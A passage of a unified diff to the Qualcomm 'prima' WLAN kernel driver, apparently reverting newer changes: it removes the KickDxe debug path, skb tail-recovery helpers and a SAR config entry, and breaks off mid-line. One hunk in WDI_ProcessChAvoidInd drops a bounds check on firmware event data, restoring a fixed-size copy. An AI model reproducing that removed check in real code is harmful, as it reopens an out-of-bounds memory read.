eCsrRoamReason eRoamReason) +//pCommand may be NULL +//Pass in sessionId in case pCommand is NULL. sessionId is not used in case pCommand is not NULL. +void csrRoamRemoveDuplicateCommand(tpAniSirGlobal pMac, tANI_U32 sessionId, tSmeCmd *pCommand, eCsrRoamReason eRoamReason) { tListElem *pEntry, *pNextEntry; tSmeCmd *pDupCommand; tDblLinkList localList; vos_mem_zero(&localList, sizeof(tDblLinkList)); - if (!HAL_STATUS_SUCCESS(csrLLOpen(pMac->hHdd, &localList))) + if(!HAL_STATUS_SUCCESS(csrLLOpen(pMac->hHdd, &localList))) { - smsLog(pMac, LOGE, FL("failed to open list")); + smsLog(pMac, LOGE, FL(" failed to open list")); return; } - csrLLLock(pList); - pEntry = csrLLPeekHead(pList, LL_ACCESS_NOLOCK); - while (pEntry) + csrLLLock( &pMac->sme.smeCmdPendingList ); + pEntry = csrLLPeekHead( &pMac->sme.smeCmdPendingList, LL_ACCESS_NOLOCK ); + while( pEntry ) { - pNextEntry = csrLLNext(pList, pEntry, LL_ACCESS_NOLOCK); - pDupCommand = GET_BASE_ADDR(pEntry, tSmeCmd, Link); - /* - * Remove the previous command if.. - * - the new roam command is for the same RoamReason... - * - the new roam command is a NewProfileList. - * - the new roam command is a Forced Dissoc - * - the new roam command is from an 802.11 OID - * (OID_SSID or OID_BSSID). - */ - if ((pCommand && (pCommand->sessionId == pDupCommand->sessionId) && - ((pCommand->command == pDupCommand->command) && - /* - * This peermac check is requried for Softap/GO scenarios - * For STA scenario below OR check will suffice as pCommand - * will always be NULL for STA scenarios - */ - (vos_mem_compare(pDupCommand->u.roamCmd.peerMac, - pCommand->u.roamCmd.peerMac, sizeof(v_MACADDR_t))) && - ((pCommand->u.roamCmd.roamReason == - pDupCommand->u.roamCmd.roamReason) || - (eCsrForcedDisassoc == pCommand->u.roamCmd.roamReason) || - (eCsrHddIssued == pCommand->u.roamCmd.roamReason)))) || - /* OR if pCommand is NULL */ - ((sessionId == pDupCommand->sessionId) && - (eSmeCommandRoam == pDupCommand->command) && - ((eCsrForcedDisassoc == eRoamReason) || - (eCsrHddIssued == eRoamReason)))) - { - smsLog(pMac, LOGW, FL("RoamReason = %d"), - pDupCommand->u.roamCmd.roamReason); - /* Remove the 'stale' roam command from the pending list */ - if (csrLLRemoveEntry(pList, pEntry, LL_ACCESS_NOLOCK)) + pNextEntry = csrLLNext( &pMac->sme.smeCmdPendingList, pEntry, LL_ACCESS_NOLOCK ); + pDupCommand = GET_BASE_ADDR( pEntry, tSmeCmd, Link ); + // Remove the previous command if.. + // - the new roam command is for the same RoamReason... + // - the new roam command is a NewProfileList. + // - the new roam command is a Forced Dissoc + // - the new roam command is from an 802.11 OID (OID_SSID or OID_BSSID). + if ( + (pCommand && ( pCommand->sessionId == pDupCommand->sessionId ) && + ((pCommand->command == pDupCommand->command) && + /* This peermac check is requried for Softap/GO scenarios + * For STA scenario below OR check will suffice as pCommand will + * always be NULL for STA scenarios + */ + (vos_mem_compare(pDupCommand->u.roamCmd.peerMac, pCommand->u.roamCmd.peerMac, sizeof(v_MACADDR_t))) && + (pCommand->u.roamCmd.roamReason == pDupCommand->u.roamCmd.roamReason || + eCsrForcedDisassoc == pCommand->u.roamCmd.roamReason || + eCsrHddIssued == pCommand->u.roamCmd.roamReason))) + || + //below the pCommand is NULL + ( (sessionId == pDupCommand->sessionId) && + (eSmeCommandRoam == pDupCommand->command) && + ((eCsrForcedDisassoc == eRoamReason) || + (eCsrHddIssued == eRoamReason)) + ) + ) + { + smsLog(pMac, LOGW, FL(" roamReason = %d"), pDupCommand->u.roamCmd.roamReason); + // Remove the 'stale' roam command from the pending list... + if(csrLLRemoveEntry( &pMac->sme.smeCmdPendingList, pEntry, LL_ACCESS_NOLOCK )) + { csrLLInsertTail(&localList, pEntry, LL_ACCESS_NOLOCK); + } } pEntry = pNextEntry; } - csrLLUnlock(pList); + csrLLUnlock( &pMac->sme.smeCmdPendingList ); - while ((pEntry = csrLLRemoveHead(&localList, LL_ACCESS_NOLOCK))) + while( (pEntry = csrLLRemoveHead(&localList, LL_ACCESS_NOLOCK)) ) { pDupCommand = GET_BASE_ADDR( pEntry, tSmeCmd, Link ); - /* Tell caller that the command is cancelled */ - csrRoamCallCallback(pMac, pDupCommand->sessionId, NULL, - pDupCommand->u.roamCmd.roamId, - eCSR_ROAM_CANCELLED, eCSR_ROAM_RESULT_NONE); + //Tell caller that the command is cancelled + csrRoamCallCallback(pMac, pDupCommand->sessionId, NULL, pDupCommand->u.roamCmd.roamId, + eCSR_ROAM_CANCELLED, eCSR_ROAM_RESULT_NONE); csrReleaseCommandRoam(pMac, pDupCommand); } csrLLClose(&localList); } - -/** - * csrRoamRemoveDuplicateCommand()- Remove duplicate roam cmd - * from pending lists. - * - * @pMac: pointer to global mac - * @sessionId: session id for the cmd - * @pCommand: cmd to be removed, can be null - * @eRoamReason: cmd with reason to be removed - * - * Remove duplicate command from the sme and roam pending list. - * - * Return: void - */ -void csrRoamRemoveDuplicateCommand(tpAniSirGlobal pMac, - tANI_U32 sessionId, tSmeCmd *pCommand, - eCsrRoamReason eRoamReason) -{ - /* Always lock active list before locking pending lists */ - csrLLLock(&pMac->sme.smeCmdActiveList); - csr_roam_remove_duplicate_cmd_from_list(pMac, - sessionId, &pMac->sme.smeCmdPendingList, - pCommand, eRoamReason); - csr_roam_remove_duplicate_cmd_from_list(pMac, - sessionId, &pMac->roam.roamCmdPendingList, - pCommand, eRoamReason); - csrLLUnlock(&pMac->sme.smeCmdActiveList); -} - eHalStatus csrRoamCallCallback(tpAniSirGlobal pMac, tANI_U32 sessionId, tCsrRoamInfo *pRoamInfo, tANI_U32 roamId, eRoamCmdStatus u1, eCsrRoamResult u2) { diff --git a/drivers/staging/prima/CORE/SME/src/sme_common/sme_FTApi.c b/drivers/staging/prima/CORE/SME/src/sme_common/sme_FTApi.c index cde968833a276..344e442751f45 100644 --- a/drivers/staging/prima/CORE/SME/src/sme_common/sme_FTApi.c +++ b/drivers/staging/prima/CORE/SME/src/sme_common/sme_FTApi.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2014, 2016 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2014 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -360,10 +360,10 @@ eHalStatus sme_FTUpdateKey( tHalHandle hHal, tCsrRoamSetKey * pFTKeyInfo ) pMac->ft.ftSmeContext.FTState, status); #endif break; - + default: - smsLog(pMac, LOG1, FL("Unhandled state=%d"), - pMac->ft.ftSmeContext.FTState); + smsLog( pMac, LOGE, "%s: Unhandled state=%d", __func__, + pMac->ft.ftSmeContext.FTState); status = eHAL_STATUS_FAILURE; break; } diff --git a/drivers/staging/prima/CORE/TL/inc/wlan_qct_tl.h b/drivers/staging/prima/CORE/TL/inc/wlan_qct_tl.h index 80975c7bd4eee..2831a0d8cccf8 100644 --- a/drivers/staging/prima/CORE/TL/inc/wlan_qct_tl.h +++ b/drivers/staging/prima/CORE/TL/inc/wlan_qct_tl.h @@ -609,8 +609,8 @@ typedef tSap_SoftapStats WLANTL_TRANSFER_STA_TYPE; typedef enum { WLANTL_DEBUG_TX_SNAPSHOT = 1<<0, + WLANTL_DEBUG_FW_CLEANUP = 1<<1, - WLANTL_DEBUG_KICKDXE = 1<<2 }WLANTL_DebugFlags; /*---------------------------------------------------------------------------- diff --git a/drivers/staging/prima/CORE/TL/src/wlan_qct_tl.c b/drivers/staging/prima/CORE/TL/src/wlan_qct_tl.c index 5396d2762725a..929141c7d4486 100644 --- a/drivers/staging/prima/CORE/TL/src/wlan_qct_tl.c +++ b/drivers/staging/prima/CORE/TL/src/wlan_qct_tl.c @@ -7290,19 +7290,6 @@ WLANTL_TLDebugMessage return; } } - if(debugFlags & WLANTL_DEBUG_KICKDXE) - { - vosMsg.reserved = 0; - vosMsg.bodyptr = NULL; - vosMsg.type = WLANTL_TX_KICKDXE; - - status = vos_tx_mq_serialize( VOS_MODULE_ID_TL, &vosMsg); - if(status != VOS_STATUS_SUCCESS) - { - TLLOGE(VOS_TRACE(VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_ERROR, "TX Msg Posting Failed with status: %d",status)); - return; - } - } return; } @@ -9452,10 +9439,6 @@ WLANTL_TxProcessMsg vos_fwDumpReq(274, 0, 0, 0, 0, 1); //Async event break; - case WLANTL_TX_KICKDXE: - WDA_TransportKickDxe(); - break; - default: /*no processing for now*/ break; diff --git a/drivers/staging/prima/CORE/TL/src/wlan_qct_tli.h b/drivers/staging/prima/CORE/TL/src/wlan_qct_tli.h index c59067c347d08..ac0247d463b1a 100644 --- a/drivers/staging/prima/CORE/TL/src/wlan_qct_tli.h +++ b/drivers/staging/prima/CORE/TL/src/wlan_qct_tli.h @@ -282,8 +282,6 @@ typedef enum WLANTL_TX_FW_DEBUG = 8, - WLANTL_TX_KICKDXE = 9, - WLANTL_TX_MAX }WLANTL_TxSignalsType; diff --git a/drivers/staging/prima/CORE/VOSS/inc/vos_packet.h b/drivers/staging/prima/CORE/VOSS/inc/vos_packet.h index 3aa0a33b55ebb..2fe96d9c39d52 100644 --- a/drivers/staging/prima/CORE/VOSS/inc/vos_packet.h +++ b/drivers/staging/prima/CORE/VOSS/inc/vos_packet.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2011-2016 The Linux Foundation. All rights reserved. + * Copyright (c) 2011-2014 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -1134,40 +1134,4 @@ v_U8_t vos_pkt_get_proto_type void *pskb, v_U8_t tracking_map ); - -/** - @brief vos_get_pkt_head() - Get skb head pointer - - @param - pPacket - the voss Packet to operate on - @return - v_PVOID_t - skb head pointer - -*/ -v_PVOID_t vos_get_pkt_head(vos_pkt_t *pPacket); - -/** - - @brief vos_get_pkt_end() - Get skb end pointer - - @param - pPacket - the voss Packet to operate on - @return - v_PVOID_t - skb end pointer - -*/ -v_PVOID_t vos_get_pkt_end(vos_pkt_t *pPacket); - -/** - - @brief vos_recover_tail() - Recover corrupted tail of skb - - @param - pPacket - the voss Packet to operate on - @return - v_VOID_t - None - -*/ -v_VOID_t vos_recover_tail(vos_pkt_t *pPacket); - #endif // !defined( __VOS_PKT_H ) diff --git a/drivers/staging/prima/CORE/VOSS/src/vos_packet.c b/drivers/staging/prima/CORE/VOSS/src/vos_packet.c index 43daf9f7d370c..5dba8ac4d0551 100644 --- a/drivers/staging/prima/CORE/VOSS/src/vos_packet.c +++ b/drivers/staging/prima/CORE/VOSS/src/vos_packet.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2014 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -59,8 +59,6 @@ #define VOS_PKT_PROT_DHCP_CLI_PORT 68 #define VOS_PKT_PROT_EAPOL_ETH_TYPE 0x888E #define VOS_PKT_PROT_ARP_ETH_TYPE 0x0806 -#define VOS_PKT_GET_HEAD(skb) (skb->head) -#define VOS_PKT_GET_END(skb) (skb->end) /*-------------------------------------------------------------------------- Type declarations @@ -3099,87 +3097,6 @@ v_U8_t vos_pkt_get_proto_type /* Protocol type map */ return pkt_proto_type; } - -v_PVOID_t vos_get_pkt_head(vos_pkt_t *pPacket) -{ - struct sk_buff *skb; - - // Validate the parameter pointers - if (unlikely(NULL == pPacket)) - { - VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_FATAL, - "VPKT [%d]: NULL pointer", __LINE__); - return NULL; - } - - if ( VOS_STATUS_SUCCESS != - vos_pkt_get_os_packet(pPacket, (void**)&skb, VOS_FALSE )) - { - VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_FATAL, - "OS-PKT [%d]: OS PKT pointer is NULL", __LINE__); - return NULL; - } - - return VOS_PKT_GET_HEAD(skb); -} - -v_PVOID_t vos_get_pkt_end(vos_pkt_t *pPacket) -{ - struct sk_buff *skb; - - // Validate the parameter pointers - if (unlikely(NULL == pPacket)) - { - VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_FATAL, - "VPKT [%d]: NULL pointer", __LINE__); - return NULL; - } - - if ( VOS_STATUS_SUCCESS != - vos_pkt_get_os_packet(pPacket, (void**)&skb, VOS_FALSE )) - { - VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_FATAL, - "OS-PKT [%d]: OS PKT pointer is NULL", __LINE__); - return NULL; - } - - /* find end point if skb->end is an offset */ -#ifdef NET_SKBUFF_DATA_USES_OFFSET - return VOS_PKT_GET_HEAD(skb) + VOS_PKT_GET_END(skb); -#else - return VOS_PKT_GET_END(skb); -#endif -} - -v_VOID_t vos_recover_tail(vos_pkt_t *pPacket) -{ - struct skb_shared_info *shinfo; - struct sk_buff *skb; - - // Validate the parameter pointers - if (unlikely(NULL == pPacket)) - { - VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_FATAL, - "VPKT [%d]: NULL pointer", __LINE__); - return; - } - - if ( VOS_STATUS_SUCCESS != - vos_pkt_get_os_packet(pPacket, (void**)&skb, VOS_FALSE )) - { - VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_FATAL, - "OS-PKT [%d]: OS PKT pointer is NULL", __LINE__); - return; - } - - shinfo = skb_shinfo(skb); - memset(shinfo, 0, sizeof(struct skb_shared_info)); - atomic_set(&shinfo->dataref, 1); - kmemcheck_annotate_variable(shinfo->destructor_arg); - - return; -} - #ifdef VOS_PACKET_UNIT_TEST #include "vos_packet_test.c" #endif diff --git a/drivers/staging/prima/CORE/WDA/inc/wlan_qct_wda.h b/drivers/staging/prima/CORE/WDA/inc/wlan_qct_wda.h index dc09fc93913f0..25a7146c3b7c7 100644 --- a/drivers/staging/prima/CORE/WDA/inc/wlan_qct_wda.h +++ b/drivers/staging/prima/CORE/WDA/inc/wlan_qct_wda.h @@ -2062,22 +2062,6 @@ void WDA_TransportChannelDebug v_U8_t debugFlags ); -/*========================================================================== - FUNCTION WDA_TransportKickDxe - - DESCRIPTION - Request Kick DXE when first hdd TX time out - happens - - PARAMETERS - NONE - - RETURN VALUE - NONE - -===========================================================================*/ -void WDA_TransportKickDxe(void); - /*========================================================================== FUNCTION WDA_TrafficStatsTimerActivate diff --git a/drivers/staging/prima/CORE/WDA/src/wlan_qct_wda.c b/drivers/staging/prima/CORE/WDA/src/wlan_qct_wda.c index 802cc7f441b2e..dc5bbeadee657 100644 --- a/drivers/staging/prima/CORE/WDA/src/wlan_qct_wda.c +++ b/drivers/staging/prima/CORE/WDA/src/wlan_qct_wda.c @@ -2276,21 +2276,6 @@ VOS_STATUS WDA_prepareConfigTLV(v_PVOID_t pVosContext, tlvStruct = (tHalCfg *)( (tANI_U8 *) tlvStruct + sizeof(tHalCfg) + tlvStruct->length) ; - /* QWLAN_HAL_CFG_SAR_BOFFSET_CORRECTION_ENABLE */ - tlvStruct->type = QWLAN_HAL_CFG_SAR_BOFFSET_CORRECTION_ENABLE; - tlvStruct->length = sizeof(tANI_U32); - configDataValue = (tANI_U32 *)(tlvStruct + 1); - - if (wlan_cfgGetInt(pMac, WNI_CFG_SAR_BOFFSET_SET_CORRECTION, - configDataValue ) != eSIR_SUCCESS) - { - VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, - "Failed to get value for WNI_CFG_SAR_BOFFSET_SET_CORRECTION"); - goto handle_failure; - } - tlvStruct = (tHalCfg *)( (tANI_U8 *) tlvStruct - + sizeof(tHalCfg) + tlvStruct->length) ; - wdiStartParams->usConfigBufferLen = (tANI_U8 *)tlvStruct - tlvStructStart ; #ifdef WLAN_DEBUG { @@ -13308,7 +13293,7 @@ VOS_STATUS WDA_TxComplete( v_PVOID_t pVosContext, vos_pkt_t *pData, tWDA_CbContext *wdaContext= (tWDA_CbContext *)VOS_GET_WDA_CTXT(pVosContext); tpAniSirGlobal pMac = (tpAniSirGlobal)VOS_GET_MAC_CTXT((void *)pVosContext) ; - tANI_U64 uUserData; + tANI_U32 uUserData; VOS_TRACE(VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, "Enter:%s", __func__); @@ -17984,27 +17969,6 @@ void WDA_TransportChannelDebug return; } -/*========================================================================== - FUNCTION WDA_TransportKickDxe - - DESCRIPTION - Request Kick Dxe when first hdd TX time out - happens - - PARAMETERS - NONE - - RETURN VALUE - NONE - -===========================================================================*/ -void WDA_TransportKickDxe() -{ - WDI_TransportKickDxe(); - return; -} - - /*========================================================================== FUNCTION WDA_SetEnableSSR diff --git a/drivers/staging/prima/CORE/WDI/CP/inc/wlan_qct_wdi.h b/drivers/staging/prima/CORE/WDI/CP/inc/wlan_qct_wdi.h index 0b614bd2f7303..1795ca83e3ba7 100644 --- a/drivers/staging/prima/CORE/WDI/CP/inc/wlan_qct_wdi.h +++ b/drivers/staging/prima/CORE/WDI/CP/inc/wlan_qct_wdi.h @@ -11200,16 +11200,6 @@ void WDI_TransportChannelDebug wpt_uint8 debugFlags ); -/** - @brief WDI_TransportKickDxe - - Request Kick DXE when first HDD TX time out - happens - @param none - @see - @return none -*/ -void WDI_TransportKickDxe(void); - /** @brief WDI_SsrTimerCB Callback function for SSR timer, if this is called then the graceful diff --git a/drivers/staging/prima/CORE/WDI/CP/src/wlan_qct_wdi.c b/drivers/staging/prima/CORE/WDI/CP/src/wlan_qct_wdi.c index 067f27503fb16..2d4f7b215902e 100644 --- a/drivers/staging/prima/CORE/WDI/CP/src/wlan_qct_wdi.c +++ b/drivers/staging/prima/CORE/WDI/CP/src/wlan_qct_wdi.c @@ -29862,21 +29862,6 @@ void WDI_TransportChannelDebug WDTS_ChannelDebug(displaySnapshot, debugFlags); return; } - -/** - @brief WDI_TransportKickDxe - - Request Kick DXE when HDD TX time out happen - - @param none - @see - @return none -*/ -void WDI_TransportKickDxe() -{ - WDTS_ChannelKickDxe(); - return; -} - /** @brief WDI_SsrTimerCB Callback function for SSR timer, if this is called then the graceful @@ -31034,7 +31019,6 @@ WDI_ProcessChAvoidInd WDI_LowLevelIndType wdiInd; tHalAvoidFreqRangeIndParams chAvoidIndicationParam; wpt_uint16 rangeLoop; - wpt_uint32 dataSize; /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */ /*------------------------------------------------------------------------- @@ -31049,16 +31033,12 @@ WDI_ProcessChAvoidInd return WDI_STATUS_E_FAILURE; } - dataSize = sizeof(tHalAvoidFreqRangeIndParams); - if (dataSize > pEventData->uEventDataSize) - dataSize = pEventData->uEventDataSize; - /*------------------------------------------------------------------------- Extract indication and send it to UMAC -------------------------------------------------------------------------*/ wpalMemoryCopy(&chAvoidIndicationParam, pEventData->pEventData, - dataSize); + sizeof(tHalAvoidFreqRangeIndParams)); /* Avoid Over flow */ if (WLAN_HAL_MAX_AVOID_FREQ_RANGE < chAvoidIndicationParam.avoidCnt) diff --git a/drivers/staging/prima/CORE/WDI/TRP/DTS/inc/wlan_qct_wdi_dts.h b/drivers/staging/prima/CORE/WDI/TRP/DTS/inc/wlan_qct_wdi_dts.h index f7e74d1bb87eb..2eccf5c93ac65 100644 --- a/drivers/staging/prima/CORE/WDI/TRP/DTS/inc/wlan_qct_wdi_dts.h +++ b/drivers/staging/prima/CORE/WDI/TRP/DTS/inc/wlan_qct_wdi_dts.h @@ -132,7 +132,6 @@ typedef struct { WDTS_SetPSCbType cBack); void (*channelDebug)(wpt_boolean displaySnapshot, wpt_uint8 debugFlags); - void (*kickDxe) (void); wpt_status (*stop) (void *pContext); wpt_status (*close) (void *pContext); wpt_uint32 (*getFreeTxDataResNumber) (void *pContext); @@ -256,15 +255,6 @@ wpt_status WDTS_SetPowerState(void *pContext, WDTS_PowerStateType powerState, */ void WDTS_ChannelDebug(wpt_boolean displaySnapshot, wpt_uint8 debugFlags); -/* DTS Transport Channel Kick Dxe - * Request Kick DXE when HDD TX timeout happen - * - * Parameters : NONE - * Return Value: NONE - * - */ -void WDTS_ChannelKickDxe(void); - /* DTS Stop function. * Stop Transport driver, ie DXE, SDIO * Parameters: diff --git a/drivers/staging/prima/CORE/WDI/TRP/DTS/src/wlan_qct_wdi_dts.c b/drivers/staging/prima/CORE/WDI/TRP/DTS/src/wlan_qct_wdi_dts.c index 1aebf0af58b7e..f6498401e97cc 100644 --- a/drivers/staging/prima/CORE/WDI/TRP/DTS/src/wlan_qct_wdi_dts.c +++ b/drivers/staging/prima/CORE/WDI/TRP/DTS/src/wlan_qct_wdi_dts.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2011-2016 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2013 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -57,7 +57,6 @@ static WDTS_TransportDriverTrype gTransportDriver = { WLANDXE_CompleteTX, WLANDXE_SetPowerState, WLANDXE_ChannelDebug, - WLANDXE_KickDxe, WLANDXE_Stop, WLANDXE_Close, WLANDXE_GetFreeTxDataResNumber, @@ -75,25 +74,6 @@ typedef struct uint32 tputBpus; //unit in Bytes per usec: round off to integral value }WDTS_RateInfo; -#define WDTS_MAX_NUMBER_OF_RX_PKT 5 -#define WDTS_MAX_PAGE_SIZE 4096 -#define WDTS_MAX_RXDB_DATA_SIZE 128 - -struct WDTS_RxPktInfo -{ - uint8 rx_bd[WDTS_MAX_RXDB_DATA_SIZE]; - void *pFrame_head; - void *pFrame_tail; - uint32 pFrame_len; -}; - -static struct WDTS_PktInfoBuff -{ - struct WDTS_RxPktInfo PktInfo[WDTS_MAX_NUMBER_OF_RX_PKT]; - uint32 current_count; - uint8 current_position; -}WDTS_Pkt_Data_Buff = { .current_position = 0, .current_count = 0 }; - #define WDTS_MAX_RATE_NUM 137 #define WDTS_MAX_11B_RATE_NUM 8 #define MB_PER_SEC_TO_BYTES_PER_MSEC 13 @@ -534,56 +514,6 @@ WDTS_GetReplayCounterFromRxBD #endif } -/* Store RXBD, skb lenght, skb head, and skb end offset to global buffer. - * This function should be invoked when MPDU lenght + MPDU herader Offset - * if higher then 3872 bytes. - * Parameters: - * pFrame:Refernce to PAL frame. - * pBDHeader: BD header for PAL Frame. - * Return Value: v_VOID_t - * - */ -v_VOID_t -WDTS_StoreMetaInfo(wpt_packet *pFrame, wpt_uint8 *pBDHeader) -{ - wpt_uint8 usMPDUHLen; - wpt_boolean usAsf, usAef, usLsf, usESF; - wpt_uint16 usMPDULen; - wpt_uint32 usPmiCmd24to25; - struct WDTS_RxPktInfo *current_data = - &WDTS_Pkt_Data_Buff.PktInfo[WDTS_Pkt_Data_Buff.current_position]; - - vos_mem_copy(current_data->rx_bd, (void*)wpalPacketGetRawBuf(pFrame), - WDTS_MAX_RXDB_DATA_SIZE); - - usMPDULen = (wpt_uint16)WDI_RX_BD_GET_MPDU_LEN(pBDHeader); - usMPDUHLen = (wpt_uint8)WDI_RX_BD_GET_MPDU_H_LEN(pBDHeader); - usAsf = (wpt_boolean)WDI_RX_BD_GET_ASF(pBDHeader); - usAef = (wpt_boolean)WDI_RX_BD_GET_AEF(pBDHeader); - usLsf = (wpt_boolean)WDI_RX_BD_GET_LSF(pBDHeader); - usESF = (wpt_boolean)WDI_RX_BD_GET_ESF(pBDHeader); - usPmiCmd24to25 = (wpt_uint32)WDI_RX_BD_GET_PMICMD_24TO25(pBDHeader); - - current_data->pFrame_head = wpalGetOSPktHead(pFrame); - current_data->pFrame_tail = wpalGetOSPktend(pFrame); - current_data->pFrame_len = wpalPacketGetLength(pFrame); - - WDTS_Pkt_Data_Buff.current_count++; - - /* Dump packet info */ - VOS_TRACE(VOS_MODULE_ID_WDI, VOS_TRACE_LEVEL_ERROR, - "count: %d usMPDULen: 0x%x, usMPDUHLen: 0x%x, usAsf: %x," - "usAef: %x, usLsf: 0x%x, usESF: 0x%x, usPmiCmd24to25: 0x%x," - "skb_len: 0x%x",WDTS_Pkt_Data_Buff.current_count, usMPDULen, - usMPDUHLen, usAsf, usAef, usLsf, usESF, usPmiCmd24to25, - current_data->pFrame_len); - - WDTS_Pkt_Data_Buff.current_position++; - if(WDTS_Pkt_Data_Buff.current_position >= WDTS_MAX_NUMBER_OF_RX_PKT) - WDTS_Pkt_Data_Buff.current_position = 0; - - return; -} /* DTS Rx packet function. * This function should be invoked by the transport device to indicate @@ -671,29 +601,18 @@ wpt_status WDTS_RxPacket (void *pContext, wpt_packet *pFrame, WDTS_ChannelType c // Special handling for frames which contain logging information if (WDTS_CHANNEL_RX_LOG == channel) { - if (VPKT_SIZE_BUFFER_ALIGNED < (usMPDULen+ucMPDUHOffset)) - { - /* Size of the packet tranferred by the DMA engine is - * greater than the the memory allocated for the skb - * Recover the SKB case of length is in same memory page - */ - WPAL_TRACE(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_FATAL, + if(VPKT_SIZE_BUFFER_ALIGNED < (usMPDULen+ucMPDUHOffset)){ + WPAL_TRACE(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_FATAL, "Invalid Frame size, might memory corrupted(%d+%d/%d)", usMPDULen, ucMPDUHOffset, VPKT_SIZE_BUFFER_ALIGNED); - // Store RXBD, skb head, tail and skb lenght in circular buffer - WDTS_StoreMetaInfo(pFrame, pBDHeader); + /* Size of the packet tranferred by the DMA engine is + * greater than the the memory allocated for the skb + */ + WPAL_BUG(0); - if ((usMPDULen+ucMPDUHOffset) <= WDTS_MAX_PAGE_SIZE) - { - wpalRecoverTail(pFrame); - wpalPacketFree(pFrame); - } else { - //Recovery may cause adjoining buffer corruption - WPAL_BUG(0); - } - - return eWLAN_PAL_STATUS_SUCCESS; + wpalPacketFree(pFrame); + return eWLAN_PAL_STATUS_SUCCESS; } /* Firmware should send the Header offset as length @@ -737,31 +656,19 @@ wpt_status WDTS_RxPacket (void *pContext, wpt_packet *pFrame, WDTS_ChannelType c ucMPDUHOffset = usMPDUDOffset; } - if (VPKT_SIZE_BUFFER_ALIGNED < (usMPDULen+ucMPDUHOffset)) - { - /* Size of the packet tranferred by the DMA engine is - * greater than the the memory allocated for the skb - * Recover the SKB case of length is in same memory page - */ - WPAL_TRACE(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_FATAL, + if(VPKT_SIZE_BUFFER_ALIGNED < (usMPDULen+ucMPDUHOffset)){ + WPAL_TRACE(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_FATAL, "Invalid Frame size, might memory corrupted(%d+%d/%d)", usMPDULen, ucMPDUHOffset, VPKT_SIZE_BUFFER_ALIGNED); - // Store RXBD, skb head, tail and skb lenght in circular buffer - WDTS_StoreMetaInfo(pFrame, pBDHeader); + /* Size of the packet tranferred by the DMA engine is + * greater than the the memory allocated for the skb + */ + WPAL_BUG(0); - if ((usMPDULen+ucMPDUHOffset) <= WDTS_MAX_PAGE_SIZE) - { - wpalRecoverTail(pFrame); - wpalPacketFree(pFrame); - } else { - //Recovery may cause adjoining buffer corruption - WPAL_BUG(0); - } - - return eWLAN_PAL_STATUS_SUCCESS; + wpalPacketFree(pFrame); + return eWLAN_PAL_STATUS_SUCCESS; } - if(eWLAN_PAL_STATUS_SUCCESS != wpalPacketSetRxLength(pFrame, usMPDULen+ucMPDUHOffset)) { DTI_TRACE( DTI_TRACE_LEVEL_ERROR, "Invalid Frame Length, Frame dropped.."); @@ -1235,19 +1142,6 @@ void WDTS_ChannelDebug(wpt_boolean displaySnapshot, wpt_uint8 debugFlags) return; } -/* DTS Transport Channel Kick Dxe - * Request Kick DXE when HDD TX time out happen - * - * Parameters : NONE - * Return Value: NONE - * - */ -void WDTS_ChannelKickDxe() -{ - gTransportDriver.kickDxe(); - return; -} - /* DTS Stop function. * Stop Transport driver, ie DXE, SDIO * Parameters: diff --git a/drivers/staging/prima/CORE/WDI/WPAL/inc/wlan_qct_pal_packet.h b/drivers/staging/prima/CORE/WDI/WPAL/inc/wlan_qct_pal_packet.h index 027d966fec470..fc080e4e097ae 100644 --- a/drivers/staging/prima/CORE/WDI/WPAL/inc/wlan_qct_pal_packet.h +++ b/drivers/staging/prima/CORE/WDI/WPAL/inc/wlan_qct_pal_packet.h @@ -448,35 +448,4 @@ void wpalFwLogPktSerialize ( wpt_packet *pFrame ); - -/*--------------------------------------------------------------------------- - wpalGetOSPktHead – Get the head of OS spacific socket buffer - Param: - pPacket – pointer to a wpt_packet - - Return: - void* - success ----------------------------------------------------------------------------*/ -void* wpalGetOSPktHead( wpt_packet *pPacket); - -/*--------------------------------------------------------------------------- - wpalGetOSPktend – Get end pointer of OS spacific socket buffer - Param: - pPacket – pointer to a wpt_packet - - Return: - void* - success ----------------------------------------------------------------------------*/ -void* wpalGetOSPktend( wpt_packet *pPacket); - -/*--------------------------------------------------------------------------- - wpalRecoverTail – recover currupted skb tail. - Param: - pPacket – pointer to a wpt_packet - - Return: - void - success ----------------------------------------------------------------------------*/ -void wpalRecoverTail( wpt_packet *pPacket); - #endif // __WLAN_QCT_PAL_PACKET_H diff --git a/drivers/staging/prima/CORE/WDI/WPAL/src/wlan_qct_pal_packet.c b/drivers/staging/prima/CORE/WDI/WPAL/src/wlan_qct_pal_packet.c index e5b310bca7a80..b35e55052528f 100644 --- a/drivers/staging/prima/CORE/WDI/WPAL/src/wlan_qct_pal_packet.c +++ b/drivers/staging/prima/CORE/WDI/WPAL/src/wlan_qct_pal_packet.c @@ -441,45 +441,6 @@ wpt_status wpalPacketSetRxLength(wpt_packet *pPkt, wpt_uint32 len) } }/*wpalPacketSetRxLength*/ -void wpalRecoverTail(wpt_packet 